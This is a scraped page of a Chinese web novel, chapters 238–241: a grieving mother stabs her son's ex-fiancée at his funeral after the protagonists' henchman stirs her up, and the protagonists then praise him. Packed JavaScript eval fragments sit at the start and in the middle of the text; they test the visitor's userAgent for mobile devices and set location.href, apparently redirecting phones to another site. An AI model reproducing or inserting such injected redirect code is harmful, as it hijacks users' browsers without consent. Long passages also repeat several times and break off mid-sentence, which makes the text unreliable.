l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488442|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白太太心疼女儿哭着说:“你打孩子干什么?难道她不无辜吗?” 两个大人吵了起来。 白知芙不胜其烦黑着脸答应了。 “都别吵了!我去参加葬礼还不行吗?” …… 余家一片寂寥。 他们家就只有余一鸣这么一个儿子余一鸣**他们后继无人。 前一天有人跟余先生提议从旁支过继一个过来。 “否则偌大的家业没人继承啊!” 余先生听了进去却没敢在这个节骨眼跟自己的太太提。 但不知怎么的余太太还是听说了。 当**礼余太太看余先生哪哪都不顺眼两个人爆发了争吵。 最后还是余先生让着自己的太太争吵 才算稍稍平息。 又有人在余太太面前提起:“当天,一鸣其实可以及时得到救治的。他觉得自己不舒服,想去休息,白知芙小姐不同意,说他只是中暑,不要小题大做。如果那个时候,白知芙关心一鸣一点,带他找医生,一鸣说不定可以活下来。” 余太太本来就因为儿子尸骨未寒,丈夫就想从旁支过继孩子而心情烦躁。 听到这话,她人更加暴躁。 “白**毁了我和我儿子!” “都怪她!要不是她,我儿子不会死,我老公也不会想着过继孩子!” “我要让她偿命!” 这个想法在心里升起来之后,一直摁不下去。 她陪同来吊唁的客人坐了一会儿后,自己回到房间独坐。 佣人对宾客解释说,太太很伤心,要休息一会儿,宾客们都很谅解。 没人怀疑什么。 不多时,管家进来找余先生和余太太。 “先生和太太呢?” “先生在后面招待男宾,太太在休息。” “跟他们说一声,**来了。” 因为余一鸣在订婚宴上**,两个人不是办婚礼,更没领证,所以白知芙依旧只是“**”。 但她身份到底比其他客人特殊,所以管家亲自来报。 余太太很快知道了。 她面色微微有些发白,眼神却亮得吓人。 白知芙看着余太太,心中莫名有些心虚。 余一鸣的死虽然与她无关,但余一鸣说自己不舒服的时候,她的确没关心她。 因为,当时她被夏怀征乱了心绪。 换成平时,她会叫医生来给余一鸣看看,而不是叫他强撑。 是夏怀征害的! 夏怀征不该来订婚宴! 可白知芙忘了,是他们家一再邀请夏怀征来参加,只为洗刷她忘恩负义的恶名。 人都是只记得对自己有利的事情的。 白知芙让余太太节哀。 “我虽然成不了您的儿媳妇,但以后我会常来看您,您可以把我当做女儿。” 白知芙这话说的很大声。 她知道余太太的脾气。 她一定会辱骂自己。 这么一来,公众就对自己生出同理心。 白知芙过来之前就已经想好了,她不能白来挨骂一趟,好歹得赚点好名声回去。 然而出乎白知芙的意料之外…… 第239章 白知芙** 出乎白知芙意料之外的是,余太太听到她说的话后,眼神虽然倏然蹿上怒火,却在下一秒消失殆尽。 余太太压下了她的怒火。 非但如此,她还对白知芙笑了笑,伸手牵住她的手。 “好孩子,你也受委屈了。” “……” “外面都传这件事跟你也有关,但我不信,我知道,你跟一鸣是真心相爱的,你绝不会为了一个残废,这么对一鸣。” “……”白知芙如鲠在喉。 事情有点出乎她的意料。 余太太竟没发火,还反过来安慰她。 是有什么人,指点了余太太吗? 白知芙强颜欢笑,勉强维持住了笑脸。 “当然……” 余太太很快去接待别人了。 白知芙一个人坐着,并没人上来搭理她。 一是余一鸣的事情热度还没下去,谁也不想跟白知芙走太近,免得给自己也招来嫌疑。 二是白知芙克夫,大家猜测,她可能不止克夫,还自带晦气。 谁都怕沾上晦气。 白知芙就这么被晾在了一边。 她坐立难安,很想找个借口提前离开。 可余一鸣的骨灰还在灵堂摆着,还需等到吉时运往公墓。 大家穿上白衣去公墓祭拜最后一次,葬礼才算完成。 现在流程才走了三分之一都不到。 她没法这么早就走。 就在这时,余太太又来找她了。 白知芙憋闷地发现,自己比起被晾在一边,宁愿跟余太太说话。 “不自在吧?”余太太低声问她。 白知芙僵硬一笑。 只听余太太说:“我以为你不会来,外面到处都在传你……你既然来了,我尽量招待好你。你一个人坐在这里无聊,不如去我书房,看看书,打发一下时间。” 白知芙几乎没思考就答应了。 “好。” 她迫不及待想离开大厅,脱离那些人的窃窃私语和打量眼神。 “走吧。” 余太太在前面领路。 白知芙忙跟在后面走。 到了二楼,余太太在书房门口停下脚步,扭头对白知芙说:“你就在这里坐会儿,我叫佣人拿几盘水果来,到去公墓的点,我再来叫你。” “谢谢您,伯母。” 白知芙道谢,迈步往书房里走。 就在这时,她突然感觉余太太快速跟了上来。 没等她疑惑余太太怎么又跟进来了,突然胸口剧烈一痛! 低头一看,竟是一把**,直接穿过了她的心脏! 她的眼睛瞪得老大,整个人倒在了地上。 她看到余太太站在她身边,如鬼魅一般冷笑起来。 “害死我儿子,你还想活着?下去陪我儿子去吧!” 生命最后一刻,她的脑子里闪过几年前的一幕。 她骑着的白马受惊,疯了一般冲破栅栏,往公路跑。 是夏怀征,他不顾自身安危,从马上救下了她。 白知芙死死瞪大了眼睛,嘴巴一张,却是涌出无数鲜血。 “嘭——” 余太太关上了书房的房门,下楼去了。 一刀,不足以让她立刻死去,她要让她跟自己的儿子一样,一点一点,慢慢感觉生命在流逝。 直至死亡。 楼下。 余家的葬礼仍然在继续进行,没人知道二楼书房发生了什么。 很快到出发去公墓的时间,余先生问起白知芙。 余太太道:“估计受不了别人看她的眼神,走了。” 余先生也不喜欢白知芙,闻言没说什么,抱着儿子的骨灰盒出发了。 从公墓回来,已经是下午四点。 宾客们回来吃晚上的席面。 按说,余一鸣这么年轻就**,葬礼不宜大操大办。 但余太太坚持,余先生也只能由着她。 就是在宾客们都坐好开席的时候,二楼有佣人的尖叫声传来。 “死、**了!!!” …… 白知芙**。 死在余家二楼书房。 佣人发现她的时候,血已经流了一地,整个书房的地面都是血。 白知芙一双眼睛怎么也闭不上。 死不瞑目。 看热闹的宾客都被吓到了。 警察很快到来。 这消息传到夏灼灼的耳朵里,她狠狠吃了一惊,立刻打电话给司慎行。 恰好司慎行准备找她。 电话接通后,他说:“我来接你,一起来我这儿吃个饭。” “好。” 夏灼灼没多说什么,换了身便捷的衣服,跟司慎行一起去了枫林晚。 做饭的是四季阁的厨师。 是司慎行问季恒要的。 夏灼灼喜欢四季阁的菜,只是今天并没有太多的心思吃饭,只吃了两口就问:“怎么回事?白知芙好 端端的,**在了余家?” 司慎行叫旁人退下去,只留阿麦和霍刚在。 他看一眼霍刚,说:“你来说吧。” 霍刚有点忐忑。 **自己这件事是办的好还是办砸了,因为事情也出乎他的意料之外。 他紧张地开口—— “少爷叫我给余家找点事做,正好我打听到,今天是余一鸣的出殡日。” “我知道余太太这个人有点极端,所以提前一天叫人撺掇余先生在旁支找个男孩过继,又把消息透给余太太……” 然后他又买通一个人,在葬礼上告诉余太太,当时余一鸣原本有机会活下来,是白知芙彻底断了她的生路。 这么做,为的是挑起余太太对白知芙的怒火,而白知芙必定会来参加葬礼。 说到这,霍刚咬了咬牙,说:“我以为她们最多打在一起,没想到,余太太直接杀了白知芙。” 这不是他的本意,且大大超出他的意料之外。 说完,霍刚忐忑地望了两人一眼。 却见两人都会心一笑。 夏灼灼更是说:“霍刚,你做的很好,你替我哥哥报仇了,谢谢你。” 不止她大哥,当初她失恋“发疯”,是白家趁机派了奸细来暗部,害得她失去在泉灵山庄被下药,失去清白,还趁机重创了暗部。 白家跟她,是有两笔仇在的。 这笔仇,现在终于得到了报复。 余一鸣死亡,让白知芙被人称为“克夫女”,这样的教训,比起她大哥受的伤,以及暗部当时死的那些手下,实在太轻。 现在白知芙**,她心头这口恶气,算是真正出了一些。 “这次多谢你了,霍刚。” 夏灼灼站起身,向霍刚鞠躬道谢。 她不只是为自己道谢,还是为大哥和死去的暗部手下。 霍刚连忙避开她的大礼。 “夏小姐,这怎么使得?您快起来。” 夏灼灼直起身来。 见司慎行疑惑看向她,她才说起了过去的事情。 她跟司慎行在泉灵山庄的事情,阿麦和霍刚是知情的。 所以她不避讳他们。 听她说话,三人了然。 怪不得听到白知芙**,夏灼灼向霍刚行那么大一个礼。 鞠躬的时候,头都要与腰平齐了。 “其实……”霍刚说:“我没那么好的脑子,我当时正发愁,要怎么给白家增添点麻烦,免得他们把矛头对 准你。是我正好找谷仔喝酒,他跟我提议的。真要说功劳,也是谷仔的功劳。” 阿麦闻言,侧头看了眼霍刚,眼中闪烁了一丝感激。 霍刚这人,粗中有细。 他不确定自己是把事情办砸了,还是办好了之前,丝毫不提他弟弟半句。 直到确定自己的确是“立功”了,他才把谷仔说出来。 他自己不占功劳。 却愿意替他弟弟扛着压力。 能有这样的挚友,是他之幸。 晚餐结束后,夏灼灼和司慎行独处。 阿麦则是叫了霍刚出去。 “上次在公司赌少爷能不能在十点之前离开公司,我赢了你一顿酒,现在想想,挺**道的。这样吧,今天我请你喝酒。” 霍刚知道阿麦这是在向他道谢。 他一拳打在阿麦胸口。 “死小子,你说话老是拐弯抹角,感动了就感动了呗,非要扯什么**道。老子的脑子再简单点,就听不懂你小子说的狗话了。” 阿麦摇摇头。 “不是每个人都像你一样的。” “在夸我?不是每个人都像我一样直爽?” “不,是在骂你。不是每个人都跟你一样呆。” “靠!你找打!” 两个人闹起来,其他手下跟着起哄,让他们比试比试,客厅热闹起来。 相比于楼下客厅,楼上很安静。 司慎行带夏灼灼去了他的房间。 “有个礼物给你看。”他说。 夏灼灼点头。 她不是第一次进男人的卧室。 暗部男人多。 谷仔、田野,他们都是男人。 她跟谷仔认识最早,那个时候他们还很拮据,两个人甚至住同一个狭小的出租房,一起长大的。 之后长大了,有时候任务急,她也会一脚踹开他们的房间,喊他们起来干活。 进男人的房间,对她来说司空见惯。 可司慎行的房间不一样。 她对谷仔、田野,只当他们是手下,是弟弟,没把他们看作男人。 司慎行却是她真正意义上的男人。 夏灼灼莫名有些紧张。 好在她表情管理很厉害,没叫司慎行看出端倪,否则他大概要嘲笑她了。 到了房间,司慎行关上房门,说:“你随便坐,等我一会儿,我去洗个澡。” 洗澡…… 夏灼灼的心一下子提到了嗓子眼。 她没想要这么快的…… 毕竟司慎行只是对她求婚了,并没有跟她真正结婚。 她骨子里是个老派传统的女人。 可拒绝的话到了嘴边,还是咽了回去。 泉灵山庄的事情,对她来说,到底还是有阴影的。 哪怕现在已经知道,那个男人是司慎行。 不过,司慎行说得对,面对恐惧和困难,要迎难而上,不能逃避。 她……该是迈开这一步,直面内心的阴影了。 准你。是我正好找谷仔喝酒,他跟我提议的。真要说功劳,也是谷仔的功劳。” 阿麦闻言,侧头看了眼霍刚,眼中闪烁了一丝感激。 霍刚这人,粗中有细。 他不确定自己是把事情办砸了,还是办好了之前,丝毫不提他弟弟半句。 直到确定自己的确是“立功”了,他才把谷仔说出来。 他自己不占功劳。 却愿意替他弟弟扛着压力。 能有这样的挚友,是他之幸。 晚餐结束后,夏灼灼和司慎行独处。 阿麦则是叫了霍刚出去。 “上次在公司赌少爷能不能在十点之前离开公司,我赢了你一顿酒,现在想想,挺**道的。这样吧,今天我请你喝酒。” 霍刚知道阿麦这是在向他道谢。 他一拳打在阿麦胸口。 “死小子,你说话老是拐弯抹角,感动了就感动了呗,非要扯什么**道。老子的脑子再简单点,就听不懂你小子说的狗话了。” 阿麦摇摇头。 “不是每个人都像你一样的。” “在夸我?不是每个人都像我一样直爽?” “不,是在骂你。不是每个人都跟你一样呆。” “靠!你找打!” 两个人闹起来,其他手下跟着起哄,让他们比试比试,客厅热闹起来。 相比于楼下客厅,楼上很安静。 司慎行带夏灼灼去了他的房间。 “有个礼物给你看。”他说。 夏灼灼点头。 她不是第一次进男人的卧室。 暗部男人多。 谷仔、田野,他们都是男人。 她跟谷仔认识最早,那个时候他们还很拮据,两个人甚至住同一个狭小的出租房,一起长大的。 之后长大了,有时候任务急,她也会一脚踹开他们的房间,喊他们起来干活。 进男人的房间,对她来说司空见惯。 可司慎行的房间不一样。 她对谷仔、田野,只当他们是手下,是弟弟,没把他们看作男人。 司慎行却是她真正意义上的男人。 夏灼灼莫名有些紧张。 好在她表情管理很厉害,没叫司慎行看出端倪,否则他大概要嘲笑她了。 到了房间,司慎行关上房门,说:“你随便坐,等我一会儿,我去洗个澡。” 洗澡…… 夏灼灼的心一下子提到了嗓子眼。 她没想要这么快的…… 毕竟司慎行只是对她求婚了,并没有跟她真正结婚。 她骨子里是个老派传统的女人。 可拒绝的话到了嘴边,还是咽了回去。 泉灵山庄的事情,对她来说,到底还是有阴影的。 哪怕现在已经知道,那个男人是司慎行。 不过,司慎行说得对,面对恐惧和困难,要迎难而上,不能逃避。 她……该是迈开这一步,直面内心的阴影了。 准你。是我正好找谷仔喝酒,他跟我提议的。真要说功劳,也是谷仔的功劳。” 阿麦闻言,侧头看了眼霍刚,眼中闪烁了一丝感激。 霍刚这人,粗中有细。 他不确定自己是把事情办砸了,还是办好了之前,丝毫不提他弟弟半句。 直到确定自己的确是“立功”了,他才把谷仔说出来。 他自己不占功劳。 却愿意替他弟弟扛着压力。 能有这样的挚友,是他之幸。 晚餐结束后,夏灼灼和司慎行独处。 阿麦则是叫了霍刚出去。 “上次在公司赌少爷能不能在十点之前离开公司,我赢了你一顿酒,现在想想,挺**道的。这样吧,今天我请你喝酒。” 霍刚知道阿麦这是在向他道谢。 他一拳打在阿麦胸口。 “死小子,你说话老是拐弯抹角,感动了就感动了呗,非要扯什么**道。老子的脑子再简单点,就听不懂你小子说的狗话了。” 阿麦摇摇头。 “不是每个人都像你一样的。” “在夸我?不是每个人都像我一样直爽?” “不,是在骂你。不是每个人都跟你一样呆。” “靠!你找打!” 两个人闹起来,其他手下跟着起哄,让他们比试比试,客厅热闹起来。 相比于楼下客厅,楼上很安静。 司慎行带夏灼灼去了他的房间。 “有个礼物给你看。”他说。 夏灼灼点头。 她不是第一次进男人的卧室。 暗部男人多。 谷仔、田野,他们都是男人。 她跟谷仔认识最早,那个时候他们还很拮据,两个人甚至住同一个狭小的出租房,一起长大的。 之后长大了,有时候任务急,她也会一脚踹开他们的房间,喊他们起来干活。 进男人的房间,对她来说司空见惯。 可司慎行的房间不一样。 她对谷仔、田野,只当他们是手下,是弟弟,没把他们看作男人。 司慎行却是她真正意义上的男人。 夏灼灼莫名有些紧张。 好在她表情管理很厉害,没叫司慎行看出端倪,否则他大概要嘲笑她了。 到了房间,司慎行关上房门,说:“你随便坐,等我一会儿,我去洗个澡。” 洗澡…… 夏灼灼的心一下子提到了嗓子眼。 她没想要这么快的…… 毕竟司慎行只是对她求婚了,并没有跟她真正结婚。 她骨子里是个老派传统的女人。 可拒绝的话到了嘴边,还是咽了回去。 泉灵山庄的事情,对她来说,到底还是有阴影的。 哪怕现在已经知道,那个男人是司慎行。 不过,司慎行说得对,面对恐惧和困难,要迎难而上,不能逃避。 她……该是迈开这一步,直面内心的阴影了。 准你。是我正好找谷仔喝酒,他跟我提议的。真要说功劳,也是谷仔的功劳。” 阿麦闻言,侧头看了眼霍刚,眼中闪烁了一丝感激。 霍刚这人,粗中有细。 他不确定自己是把事情办砸了,还是办好了之前,丝毫不提他弟弟半句。 直到确定自己的确是“立功”了,他才把谷仔说出来。 他自己不占功劳。 却愿意替他弟弟扛着压力。 能有这样的挚友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488443|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他之幸。 晚餐结束后,夏灼灼和司慎行独处。 阿麦则是叫了霍刚出去。 “上次在公司赌少爷能不能在十点之前离开公司,我赢了你一顿酒,现在想想,挺**道的。这样吧,今天我请你喝酒。” 霍刚知道阿麦这是在向他道谢。 他一拳打在阿麦胸口。 “死小子,你说话老是拐弯抹角,感动了就感动了呗,非要扯什么**道。老子的脑子再简单点,就听不懂你小子说的狗话了。” 阿麦摇摇头。 “不是每个人都像你一样的。” “在夸我?不是每个人都像我一样直爽?” “不,是在骂你。不是每个人都跟你一样呆。” “靠!你找打!” 两个人闹起来,其他手下跟着起哄,让他们比试比试,客厅热闹起来。 相比于楼下客厅,楼上很安静。 司慎行带夏灼灼去了他的房间。 “有个礼物给你看。”他说。 夏灼灼点头。 她不是第一次进男人的卧室。 暗部男人多。 谷仔、田野,他们都是男人。 她跟谷仔认识最早,那个时候他们还很拮据,两个人甚至住同一个狭小的出租房,一起长大的。 之后长大了,有时候任务急,她也会一脚踹开他们的房间,喊他们起来干活。 进男人的房间,对她来说司空见惯。 可司慎行的房间不一样。 她对谷仔、田野,只当他们是手下,是弟弟,没把他们看作男人。 司慎行却是她真正意义上的男人。 夏灼灼莫名有些紧张。 好在她表情管理很厉害,没叫司慎行看出端倪,否则他大概要嘲笑她了。 到了房间,司慎行关上房门,说:“你随便坐,等我一会儿,我去洗个澡。” 洗澡…… 夏灼灼的心一下子提到了嗓子眼。 她没想要这么快的…… 毕竟司慎行只是对她求婚了,并没有跟她真正结婚。 她骨子里是个老派传统的女人。 可拒绝的话到了嘴边,还是咽了回去。 泉灵山庄的事情,对她来说,到底还是有阴影的。 哪怕现在已经知道,那个男人是司慎行。 不过,司慎行说得对,面对恐惧和困难,要迎难而上,不能逃避。 她……该是迈开这一步,直面内心的阴影了。 准你。是我正好找谷仔喝酒,他跟我提议的。真要说功劳,也是谷仔的功劳。” 阿麦闻言,侧头看了眼霍刚,眼中闪烁了一丝感激。 霍刚这人,粗中有细。 他不确定自己是把事情办砸了,还是办好了之前,丝毫不提他弟弟半句。 直到确定自己的确是“立功”了,他才把谷仔说出来。 他自己不占功劳。 却愿意替他弟弟扛着压力。 能有这样的挚友,是他之幸。 晚餐结束后,夏灼灼和司慎行独处。 阿麦则是叫了霍刚出去。 “上次在公司赌少爷能不能在十点之前离开公司,我赢了你一顿酒,现在想想,挺**道的。这样吧,今天我请你喝酒。” 霍刚知道阿麦这是在向他道谢。 他一拳打在阿麦胸口。 “死小子,你说话老是拐弯抹角,感动了就感动了呗,非要扯什么**道。老子的脑子再简单点,就听不懂你小子说的狗话了。” 阿麦摇摇头。 “不是每个人都像你一样的。” “在夸我?不是每个人都像我一样直爽?” “不,是在骂你。不是每个人都跟你一样呆。” “靠!你找打!” 两个人闹起来,其他手下跟着起哄,让他们比试比试,客厅热闹起来。 相比于楼下客厅,楼上很安静。 司慎行带夏灼灼去了他的房间。 “有个礼物给你看。”他说。 夏灼灼点头。 她不是第一次进男人的卧室。 暗部男人多。 谷仔、田野,他们都是男人。 她跟谷仔认识最早,那个时候他们还很拮据,两个人甚至住同一个狭小的出租房,一起长大的。 之后长大了,有时候任务急,她也会一脚踹开他们的房间,喊他们起来干活。 进男人的房间,对她来说司空见惯。 可司慎行的房间不一样。 她对谷仔、田野,只当他们是手下,是弟弟,没把他们看作男人。 司慎行却是她真正意义上的男人。 夏灼灼莫名有些紧张。 好在她表情管理很厉害,没叫司慎行看出端倪,否则他大概要嘲笑她了。 到了房间,司慎行关上房门,说:“你随便坐,等我一会儿,我去洗个澡。” 洗澡…… 夏灼灼的心一下子提到了嗓子眼。 她没想要这么快的…… 毕竟司慎行只是对她求婚了,并没有跟她真正结婚。 她骨子里是个老派传统的女人。 可拒绝的话到了嘴边,还是咽了回去。 泉灵山庄的事情,对她来说,到底还是有阴影的。 哪怕现在已经知道,那个男人是司慎行。 不过,司慎行说得对,面对恐惧和困难,要迎难而上,不能逃避。 她……该是迈开这一步,直面内心的阴影了。 准你。是我正好找谷仔喝酒,他跟我提议的。真要说功劳,也是谷仔的功劳。” 阿麦闻言,侧头看了眼霍刚,眼中闪烁了一丝感激。 霍刚这人,粗中有细。 他不确定自己是把事情办砸了,还是办好了之前,丝毫不提他弟弟半句。 直到确定自己的确是“立功”了,他才把谷仔说出来。 他自己不占功劳。 却愿意替他弟弟扛着压力。 能有这样的挚友,是他之幸。 晚餐结束后,夏灼灼和司慎行独处。 阿麦则是叫了霍刚出去。 “上次在公司赌少爷能不能在十点之前离开公司,我赢了你一顿酒,现在想想,挺**道的。这样吧,今天我请你喝酒。” 霍刚知道阿麦这是在向他道谢。 他一拳打在阿麦胸口。 “死小子,你说话老是拐弯抹角,感动了就感动了呗,非要扯什么**道。老子的脑子再简单点,就听不懂你小子说的狗话了。” 阿麦摇摇头。 “不是每个人都像你一样的。” “在夸我?不是每个人都像我一样直爽?” “不,是在骂你。不是每个人都跟你一样呆。” “靠!你找打!” 两个人闹起来,其他手下跟着起哄,让他们比试比试,客厅热闹起来。 相比于楼下客厅,楼上很安静。 司慎行带夏灼灼去了他的房间。 “有个礼物给你看。”他说。 夏灼灼点头。 她不是第一次进男人的卧室。 暗部男人多。 谷仔、田野,他们都是男人。 她跟谷仔认识最早,那个时候他们还很拮据,两个人甚至住同一个狭小的出租房,一起长大的。 之后长大了,有时候任务急,她也会一脚踹开他们的房间,喊他们起来干活。 进男人的房间,对她来说司空见惯。 可司慎行的房间不一样。 她对谷仔、田野,只当他们是手下,是弟弟,没把他们看作男人。 司慎行却是她真正意义上的男人。 夏灼灼莫名有些紧张。 好在她表情管理很厉害,没叫司慎行看出端倪,否则他大概要嘲笑她了。 到了房间,司慎行关上房门,说:“你随便坐,等我一会儿,我去洗个澡。” 洗澡…… 夏灼灼的心一下子提到了嗓子眼。 她没想要这么快的…… 毕竟司慎行只是对她求婚了,并没有跟她真正结婚。 她骨子里是个老派传统的女人。 可拒绝的话到了嘴边,还是咽了回去。 泉灵山庄的事情,对她来说,到底还是有阴影的。 哪怕现在已经知道,那个男人是司慎行。 不过,司慎行说得对,面对恐惧和困难,要迎难而上,不能逃避。 她……该是迈开这一步,直面内心的阴影了。 第240章 司慎行的初恋? 夏灼灼心里挣扎,现实世界才过了两秒钟。 她点头,说:“好,你去洗吧…… 短短一句话,她却用了很大的力气。 不过刚才进门,司慎行只开了一盏灯,光线有些昏暗,司慎行没看到她脸上的挣扎。 “我去卧室洗,你随便逛,外面也可以随便逛。 说了这么一句,司慎行便进卧室的浴室洗澡了。 夜间要下大雨,所以现在天气很闷热,只是吃个晚饭,他热出了一身的汗。 夏灼灼站在客厅,有些拘谨。 但随着司慎行进了浴室,她慢慢放松下来。 她打开客厅里的大灯,房间里的一切映入眼帘。 大概因为枫林晚前一任主人是欧国人,所以这里保留了欧国的风格。 家具虽然是新的,但为了贴合这里的硬装,选的也是欧国风的家具。 夏灼灼一圈转完,几乎没发现什么有意思的东西。 当然,也是因为她心不在焉,太紧张了。 却在这时,一阵大风吹进来,玄关处“吧嗒一声,一个相框掉了下来。 这个相框放得很里面,刚才她都没注意。 相框玻璃已经碎了。 夏灼灼几步走过去,捡起了地上的照片,想帮他先把照片放起来,再叫人进来收拾玻璃碎渣。 照片拿在手里,夏灼灼不免看了眼,就看到照片是一张四个人的合照。 司慎行站在中间,他的左侧是一个长得很英气的短发女人,两个人都穿着学士服,而两人身侧,是穿常服的霍刚和阿麦。 司慎行不怎么爱笑,但在照片里,他同样也笑的很开心。 夏灼灼的目光落在那个女人的脸上。 霍刚和阿麦她很熟悉,但这个女人,她还是第一次见。 也是司慎行手底下的人吗? 不应该啊。 如果是司慎行手底下的人,她不会没见过。 她也从未听他们提过,司慎行身边还有什么女人。 正疑惑着,卧室那边传来了动静。 是司慎行洗好澡,出来了。 夏灼灼顿时紧张起来。 却看到司慎行穿着她买的那套西装,整整齐齐出现在他面前。 夏灼灼立刻反应过来,是她误会了。 司慎行叫她上楼,不是想与她发生关系。 只是想让她看看自己为他选的西装。 也怪司慎行! 他叫她来他房间, 进门后,第一时间就是去洗澡,她不误会都难! 羞愤之余,她一颗紧张的心放松下来。 她还没完全做好准备。 或者说,她还没得到司董事长的承认,因而没有太多的心思,放在这种事上。 人轻松下来,笑容也放松多了。 她走上前,打量司慎行。 司慎行展开双臂,任她打量。 眼神却略有一丝不自在。 因为夏灼灼给他买的这身西装,是粉色的。 别说粉色西装了,他这辈子,连粉色的袜子都没穿过! 这也是为什么司慎行要让夏灼灼来他房间,单独穿给她看。 他实在不好意思…… 夏灼灼很理解。 直男就是这样的。 觉得粉色只有女人能穿。 她笑着说:“很好看,很适合你。你长得白,穿粉色显得更有少年气。 “我不是少年了,穿出去,别人会笑的。 夏灼灼循循善诱:“你都没三十岁,老是穿一身黑,老气横秋的。偶尔换个颜色,就当换一下心情。 又带他到镜子前面。 “你看,多适合你! 玄关就有一面全身镜。 司慎行往镜子里嫌弃地扫了眼自己,这一看,竟然发现的确还不错。 不会显得娘里娘气,只是有一点花俏,却不过分。 总体看来,还是能看的过眼的。 “看来我长得的确很帅,穿什么都像个样子。 夏灼灼笑起来说:“你好自恋。 “难道不是吗?司慎行反问。 夏灼灼连连点头:“是是是,那以后多穿点别的颜色。不一定是粉色,穿点黄的绿的蓝的,都行。 她当初替司慎行选中这一套粉色的,也确实是觉得,司慎行的衣服,清一色都是黑、白两色的,毫无新意。 所以干脆就选了件大胆的颜色。 意外很契合司慎行。 她刚才说的,不是客套话,是真的很适合他。 司慎行摸了下自己半干的头发,说:“以后我们结婚,我的衣服,都由你来买。 夏灼灼的脸有点红,不过这次没因为害羞而搪塞,认真点了头:“好。 司慎行也能感觉到,夏灼灼在一点点变勇敢——在感情方面。 她过去的“懦弱,来自于宗域。 现在宗域出现了,他本以为这会是危机,却没想到,反而促成夏灼 灼彻底放下心结。 他有点感谢宗域了。 毕竟当初要不是宗域离开了夏灼灼,她身边也不会有他的位置。 司慎行抱住她,亲吻上去。 他以前对亲吻的事情没什么经验,现在一次比一次娴熟。 两人很快都开始气息加粗。 但跟之前一样,司慎行用自己的自控力控制住了局面,在彻底失去理智之前,悬崖勒马。 夏灼灼也很感激他的理解,伸手轻轻抱住他。 两个人抱了好一会儿,司慎行才松开她。 “要下大雨,我早点送你回去。 “好。 夏灼灼点头,正要下楼,路过玄关的碎玻璃,夏灼灼想起,自己手里还拿着那张照片呢。 她把照片递给司慎行,解释说:“风吹进来,相册掉在地上摔碎了。 司慎行接过来看了一眼,眸色有细微的变化。 夏灼灼察觉到了。 她问:“这个女孩子是谁? 司慎行沉默两秒,说:“凌悠然。 “嗯? 她对这个名字很陌生。 司慎行说:“先下楼,送你回去的路上,我慢慢跟你解释。 他说着,直接把照片扔进了玄关处的垃圾桶里。 夏灼灼有些诧异他的举动,但还是把疑惑压下了。 司慎行答应过她,任何事都不会骗她,不会瞒着她。 那么,她只要等他开口就好了。 夏灼灼收回视线,跟司慎行一起下楼。 楼下霍刚和阿麦还在打闹。 两个人在其他人的起哄下,过招了两个回合。 两人各胜一场。 正准备最后一场定胜负,夏灼灼和司慎行下来了。 他们正打算让司慎行来做裁判,却看到司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他先介绍了凌悠然现在在凌家的地位。 然而才聊起过去。 “那个时候,我还只是个私生子,外面人人唾骂我。” “外面是这样,在学校里也一样。哪怕我成绩从来都是第一名,别人看我的眼神也是带着鄙夷的。” 夏灼灼的心有些痛。 她提议道:“要不然我来开车?” 司慎行没拒绝。 两个人交换了位置后,司慎行再次开口:“凌悠然是高二那年转过来的。文理分班,我是理科,班里女生不多。转过来之后,很多男生都喜欢跟她走得很近,因为她学习成绩好,长得也很漂亮。” 说到这,他补了一句:“当然,没你漂亮。” 夏灼灼有些不好意思,又有些无奈。 “你放心,我不是你这个醋缸子,这种飞醋我不会吃的。世界上美女那么多,比我漂亮的也比比皆是。” “不。”司慎行很认真地说:“别人怎么想我不管,反正在我心里,你就是全世界第一美。” 第241章 季远毁了 夏灼灼的确不吃司慎行夸凌悠然漂亮的飞醋。 但他这么说,也的的确确讨好到了他。 他真是个非常会说话的人。 明明刚认识的时候,他每次说话,都能把她气到心梗,觉得这人狗嘴里吐不出**。 短短几个月,他已经大变样了。 夏灼灼的脸有点红。 她在感情方面,从来都是害羞的。 她故作镇定,说:“别岔开话题,继续说。” 司慎行很听话地继续说。 “但凌悠然当时谁也不理,却几次都在我被他们霸凌的时候,冲过来帮我。” 夏灼灼神色不变。 “然后你们在一起了?” 她还是那句话,她没吃醋。 她自己也有过去,宗域就是她的过去,所以她不会双标,要求司慎行是一张彻彻底底的白纸。 只要司慎行跟她在一起之后,不跟凌悠然藕断丝连,她就不会纠结过去的事。 然而出乎夏灼灼意料之外的是,司慎行却否认了。 “我没有跟她在一起。我当时防备心很重,虽然感激她愿意亲近我,帮助我,但没有完全对她放下警惕。” “……” “高中两年,我跟她的来往变得越来越多,我们成为了朋友。不过我还是对她有所防备。因为她的到来和接近,都太突然了。” “然后呢?”夏灼灼问。 司慎行如实说:“是高考之后的一次全班毕业旅行,我偶然发现,她跟司谨言有来往。” 司谨言就是狸猫换太子的那只“狸猫”。 他们兄弟俩的名字,取得有点草率。 只因为司董事长的座右铭就是“谨言慎行”。 “但我没声张,我们上了同一所大学。依旧是朋友,经常在一起吃饭,阿麦和霍刚也跟她关系很好。” “我慢慢放下戒心,觉得她跟司谨言认识,可能只是意外。毕竟都属于同一个圈子,互相认识很正常。” “后来我爸重病,司谨言和他妈,也就是养大我的那个女人,暴露了他们的身份。我的身份被抬正,很快我就接管了S集团。” “司谨言被送出国那天,他很崩溃,发疯似的骂了我很多。” “其中就提到了凌悠然。” 